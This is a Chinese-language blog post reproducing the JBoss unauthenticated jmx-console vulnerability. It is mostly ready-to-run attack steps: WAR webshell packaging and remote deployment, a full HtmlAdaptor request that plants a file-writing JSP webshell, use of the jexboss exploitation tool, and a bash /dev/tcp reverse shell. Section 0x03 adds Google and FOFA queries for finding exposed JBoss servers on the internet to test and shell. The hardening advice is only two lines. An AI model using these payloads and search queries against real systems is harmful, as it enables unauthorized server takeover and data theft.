目錄
0x00 前言
0x01 JBOSS未授權訪問簡介
0x02 JBOSS未授權復現一
1、Docker容器搭建環境
2、訪問127.0.0.1,找到漏洞點
3、生成warSehll
4、apache2部署遠程服務器
4、通過addurl引數遠程部署Shell
5、成功getshell,上傳永久shell
0x03 JBOSS未授權復現二
1、查找JBOSS站點
2、JBOSS漏洞檢測
0x04 JBOSS未授權復現三
0x05 JBOSS未授權防護
0x06 后記
0x07 知識鏈接
0x00 前言
習常規而明其理,探非凡且有所見, --涂寐
0x01 JBOSS未授權訪問簡介
JBOSS是一個基于J2EE的開放源代碼應用服務器,也是一個管理EJB的容器和服務器,默認使用8080埠監聽,
JBOSS未授權訪問漏洞表現為,在默認情況下無需賬密就可以直接訪問 http://127.0.0.1:8080/jmx-console 進入管理控制臺,進而導致網站資訊泄露、服務器被上傳shell(如反彈shell,wget寫webshell檔案),最終網站被攻陷,
該漏洞影響所有低版本的JBOSS,對其下用戶影響深遠,
0x02 JBOSS未授權復現一
1、Docker容器搭建環境
#搜索JBoss環境
docker search testjboss
#選擇需要的環境
docker pull testjboss/jboss
#實體化testjboss/jboss鏡像
docker run -d-p 80:8080 testjboss/jboss


2、訪問127.0.0.1,找到漏洞點



3、生成warSehll
#自備腳本tumei.jsp
#生成war命令
jar cvf admin.war tumei.jsp

4、apache2部署遠程服務器
#安裝apache2
apt-get install apache2
#apache2所有檔案所在位置
/etc/apache2
#apache2運行檔案
/etc/init.d/apache2
#查看kali默認web站點位置是否含有/var/www/html
cd /var/www/html
#不存在,創建/var/www/html目錄
mkdir -p /var/www/html
#將admin.war移入/var/www/html
cp admin.war /var/www/html
#開啟apache2服務
service apache2 start
#確認已開啟
service apache2 status
#訪問web站點
http://127.0.0.1/
http://192.168.31.133/


4、通過addurl引數遠程部署Shell
#遠程服務器中war包的位置
http://192.168.31.133/admin.war
#war上傳成功,會顯示成功界面,
#也可以直接訪問http://127.0.0.1/jmx-console/,查看http://127.0.0.1/jmx-console/,是否含有對應的war包
#抑或,訪問http://127.0.0.1/admin/,顯示war包中檔案tumei.jsp




5、成功getshell,上傳永久shell
#由于當前目錄的shell僅能臨時獲取權限,因此把shell傳到jmx-console的默認目錄來鞏固權限
#jmx-console的默認目錄路徑
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/
#直接利用檔案管理傳shell,避免臨時目錄下的shell被刪無法連接


0x03 JBOSS未授權復現二
1、查找JBOSS站點
①Google語法產找相關站點(有丟丟少,大概是瀏覽器的問題吧):inurl:"8080/jmx-console/"
②FOFA空間搜索引擎陳述句:"jboss" && port="8080" && country="CN"

2、JBOSS漏洞檢測
①各位師傅若有閑情,可以先使用nmap工具掃描8080埠是否開放(nmap -PN ip),但筆者使用fofa搜索時限定掃描了8080埠,直接訪問http://ip:8080/jmx-console和http://ip:8080/web-console就好了,成功,確認未授權的存在,


②手工傳馬,直接URL中寫入大佬的一句話shell(寫入檔案功能),并可以通過腳本(shell.jsp)在其同級目錄下新建其他檔案(注意進行編碼繞過),
#寫檔案功能
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
#arg0:war包的名稱,arg1:檔案名稱,arg2:檔案后綴名,arg3:檔案內容
#f=檔案名,t=腳本檔案內容(注意進行編碼繞過)
#檔案寫入舉例http://127.0.0.1:8080/August/shell.jsp?f=admin.txt&t=hhhhhhhhhhhhhhhhh
#檔案訪問舉例
http://127.0.0.1:8080/August/admin.txt
#對應URL解碼
http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>&argType=boolean&arg4=True


0x04 JBOSS未授權復現三
#嘗試下大佬寫的檢測工具:https://github.com/joaomatosf/jexboss
#jexboss是一個使用Python撰寫的Jboss漏洞檢測利用工具,通過它可以檢測并利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,并且可以獲得一個shell,
#git下載jexboss
git clone https://github.com/joaomatosf/jexboss
#切換jexboss所在目錄
cd jexboss-master/
#執行檢測192.168.31.131,此
處埠為80
python3 jexboss.py -u 192.168.31.131:80
#機器A反彈shell到其他機器(B)
#B機器(192.168.31.131)開啟監聽
nc -l -p 666
#A利用jexboss連接jboss后,反彈shell到機器B的666埠
bash -i >& /dev/tcp/192.168.31.131/666 0>&1




0x05 JBOSS未授權防護
1、對jmx-console和web-console界面訪問增加強認證,
2、關閉jmx-console和web-console,提高安全性,
0x06 后記
漏洞復現很簡單,嘗試了多種方式,非常不錯,學到挺多的,原本想著嘗試學大佬做防護,但重啟容器后看不出有什么改變,還是繼續努力吧, --涂寐
0x07 知識鏈接
JBOSS未授權訪問漏洞復現 - 走看看
Jboss未授權訪問漏洞復現
WEB中間件--Jboss未授權訪問,加固,繞過 - 曉楓v5 - 博客園
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/350826.html
標籤:其他
上一篇:CVE-2019-16097復現-harbor注冊提權
下一篇:《攻防世界》 SQL_LABS
